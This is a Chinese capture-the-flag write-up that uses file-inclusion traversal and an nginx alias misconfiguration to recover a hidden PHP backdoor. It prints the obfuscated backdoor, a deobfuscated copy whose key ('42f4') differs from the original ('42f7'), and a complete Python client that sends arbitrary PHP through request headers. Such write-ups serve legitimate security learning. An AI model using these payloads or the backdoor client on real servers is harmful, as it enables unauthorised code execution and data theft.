Web_php_wrong_nginx_configwriteup

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Web_php_wrong_nginx_config
writeup
Zhu013
 
未经允许请勿转载

1.进入页面发现需要登陆

2.robots.txt 发现hint.php Hack.php
    hint.php提示
    配置文件也许有问题呀：/etc/nginx/sites-enabled/site.conf
    访问Hack.php提示请登录

3.抓包访问Hack.php文件发现cookie参数 isLogin为0,改为再次进入一个页面

4.尝试各种点了一下,发现点击管理中心 url变为http://111.198.29.45:58762/admin/admin.php?file=index&ext=php
    怀疑是文件包含,但是../被过滤无法读取到提示的conf文件,经过搜索和百度杯的一道题很像
    于是尝试 ?file=in../dex&ext=php  返回正常()页面顶部会显示内容"please continue" 被过滤
            ?file=in./dex&ext=php   返回错误,不会显示"please continue"
            所以用

http://111.198.29.45:58762/admin/admin.php?file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=
 
            读取到提示的conf文件内容

5.内容如下:
   
 server {
     listen 8080
     ; ## listen for ipv4
     ; this line is default and implied listen [::]:8080
     ; ## listen for ipv6 root /var/www/html
     ; index index.php index.html index.htm
     ; port_in_redirect off
     ; server_name _
     ; # Make site accessible from http://localhost/ #server_name localhost
     ; # If block for setting the time for the logfile if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") { set $year $1
     ; set $month $2; set $day $3
     ; } # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off
     ; set $http_x_forwarded_for_filt $http_x_forwarded_for
     ; if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) { set $http_x_forwarded_for_filt $1???
     ; } # Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log
     ; error_log /var/log/nginx/error.log info
     ; location / { # First attempt to serve request as file, then # as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args
     ; server_tokens off
     ; } #error_page 404 /404.html
     ; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html
     ; location = /50x.html { root /usr/share/nginx/html
     ; } location ~ \.php$ { try_files $uri $uri/ /index.php?q=$uri&$args
     ; fastcgi_split_path_info ^(.+\.php)(/.+)$
     ; fastcgi_pass unix:/var/run/php/php5.6-fpm.sock
     ; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name
     ; fastcgi_param SCRIPT_NAME $fastcgi_script_name
     ; fastcgi_index index.php
     ; include fastcgi_params
     ; fastcgi_param REMOTE_ADDR $http_x_forwarded_for
     ; } location ~ /\. { log_not_found off
     ; deny all
     ; } location /web-img { alias /images/; autoindex on
     ; } location ~* \.(ini|docx|pcapng|doc)$ { deny all
     ; } include /var/www/nginx[.]conf
     ; } 
 

     重点倒数第三行 /web-img进行文件遍历
     访问http://111.198.29.45:58762/web-img/  正常
     访问http://111.198.29.45:58762/web-img../  对根目录进行读取

6.访问http://111.198.29.45:58762/web-img../var/www/
        发现hack.php.bak    
(提示是真的坑...后来做出来发现网址根目录下面也有hack.php.bak..跟着提示走完全没去扫目录.....)
        下载下来内容如下

        <?php
        $U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
        $q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
        $M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
        $z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
        $k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
        $o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
        $N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
        $C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
        $j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
        $R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
        $J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
        $x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
        $f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
        $g=create_function('',$f);
        $g();
        ?>
 

        还原内容为
        
<?php
        $kh="42f4";
        $kf="e9ac";



        function x($t,$k){
            $c=strlen($k);
            $l=strlen($t);
            $o="";
            for($i=0;$i<$l;){
                for($j=0;($j<$c&&$i<$l);$j++,$i++){
                    $o.=$t{$i}^$k{$j};
                }
            }
            return $o;
        }
        $r=$_SERVER;
        $rr=@$r["HTTP_REFERER"];
        $ra=@$r["HTTP_ACCEPT_LANGUAGE"];
        if($rr&&$ra){
            $u=parse_url($rr); 
            parse_str($u["query"],$q); 
            $q=array_values($q);        
            
            preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
            if($q&&$m){
                @session_start();
                $s=&$_SESSION;
                $ss="substr";
                $sl="strtolower";
                $i=$m[1][0].$m[1][1];  
                $h=$sl($ss(md5($i.$kh),0,3)); 
                $f=$sl($ss(md5($i.$kf),0,3)); 
                $p="";
                for($z=1;$z<count($m[1]);$z++)  
                    $p.=$q[$m[2][$z]];         
                if(strpos($p,$h)===0){        
                    $s[$i]="";        
                    $p=$ss($p,3);    
                }
                if(array_key_exists($i,$s)){         
                    $s[$i].=$p;
                    $e=strpos($s[$i],$f); 
                    if($e){    
                        $k=$kh.$kf; 
                        ob_start();
                        @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                        $o=ob_get_contents();
                        ob_end_clean();
                        $d=base64_encode(x(gzcompress($o),$k));
                        print("<$k>$d</$k>");
                        @session_destroy();
                    }
                }
            }
        }
 


        对正则内容进行搜索 preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
        发现是一个后门,并且分析有利用脚本，参考修改脚本的config内容。
        分析连接:https://www.cnblogs.com/go2bed/p/5920811.html
        利用脚本如下运行
        phpshell > system("ls");
        admin
        fllla4aggg.php
        hack.php
        hack.php.bak
        hint.php
        images
        index.php
        login.php
        robots.txt

        phpshell > readfile("var/www/html/fllla4aggg.php");
        拿到flag.


        修改后利用脚本内容如下:
       
 # encoding: utf-8



        from random import randint,choice
        from hashlib import md5
        import urllib
        import string
        import zlib
        import base64
        import requests
        import re



        def choicePart(seq,amount):
            length = len(seq)
            if length == 0 or length < amount:
                print 'Error Input'
                return None
            result = []
            indexes = []
            count = 0
            while count < amount:
                i = randint(0,length-1)
                if not i in indexes:
                    indexes.append(i)
                    result.append(seq[i])
                    count += 1
                    if count == amount:
                        return result



        def randBytesFlow(amount):
            result = ''
            for i in xrange(amount):
                result += chr(randint(0,255))
            return  result



        def randAlpha(amount):
            result = ''
            for i in xrange(amount):
                result += choice(string.ascii_letters)
            return result



        def loopXor(text,key):
            result = ''
            lenKey = len(key)
            lenTxt = len(text)
            iTxt = 0
            while iTxt < lenTxt:
                iKey = 0
                while iTxt<lenTxt and iKey<lenKey:
                    result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
                    iTxt += 1
                    iKey += 1
            return result




        def debugPrint(msg):
            if debugging:
                print msg



        # config
        debugging = False
        keyh = "42f7" # $kh
        keyf = "e9ac" # $kf
        xorKey = keyh + keyf
        url = 'http://111.198.29.45:58762/hack.php'
        defaultLang = 'zh-CN'
        languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
        proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug



        sess = requests.Session()



        # generate random Accept-Language only once each session
        langTmp = choicePart(languages,3)
        indexes = sorted(choicePart(range(1,10),3), reverse=True)



        acceptLang = [defaultLang]
        for i in xrange(3):
            acceptLang.append(langTmp[i] % (indexes[i],))
        acceptLangStr = ','.join(acceptLang)
        debugPrint(acceptLangStr)



        init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
        md5head = (md5(init2Char + keyh).hexdigest())[0:3]
        md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
        debugPrint('$i is %s' % (init2Char))
        debugPrint('md5 head: %s' % (md5head,))
        debugPrint('md5 tail: %s' % (md5tail,))



        # Interactive php shell
        cmd = raw_input('phpshell > ')
        while cmd != '':
            # build junk data in referer
            query = []
            for i in xrange(max(indexes)+1+randint(0,2)):
                key = randAlpha(randint(3,6))
                value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
                query.append((key, value))
            debugPrint('Before insert payload:')
            debugPrint(query)
            debugPrint(urllib.urlencode(query))



            # encode payload
            payload = zlib.compress(cmd)
            payload = loopXor(payload,xorKey)
            payload = base64.urlsafe_b64encode(payload)
            payload = md5head + payload



            # cut payload, replace into referer
            cutIndex = randint(2,len(payload)-3)
            payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
            iPiece = 0
            for i in indexes:
                query[i] = (query[i][0],payloadPieces[iPiece])
                iPiece += 1
            referer = url + '?' + urllib.urlencode(query)
            debugPrint('After insert payload, referer is:')
            debugPrint(query)
            debugPrint(referer)



            # send request
            r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
            html = r.text
            debugPrint(html)



            # process response
            pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
            output = pattern.findall(html)
            if len(output) == 0:
                print 'Error,  no backdoor response'
                cmd = raw_input('phpshell > ')
                continue
            output = output[0]
            debugPrint(output)
            output = output.decode('base64')
            output = loopXor(output,xorKey)
            output = zlib.decompress(output)
            print output
            cmd = raw_input('phpshell > ')
 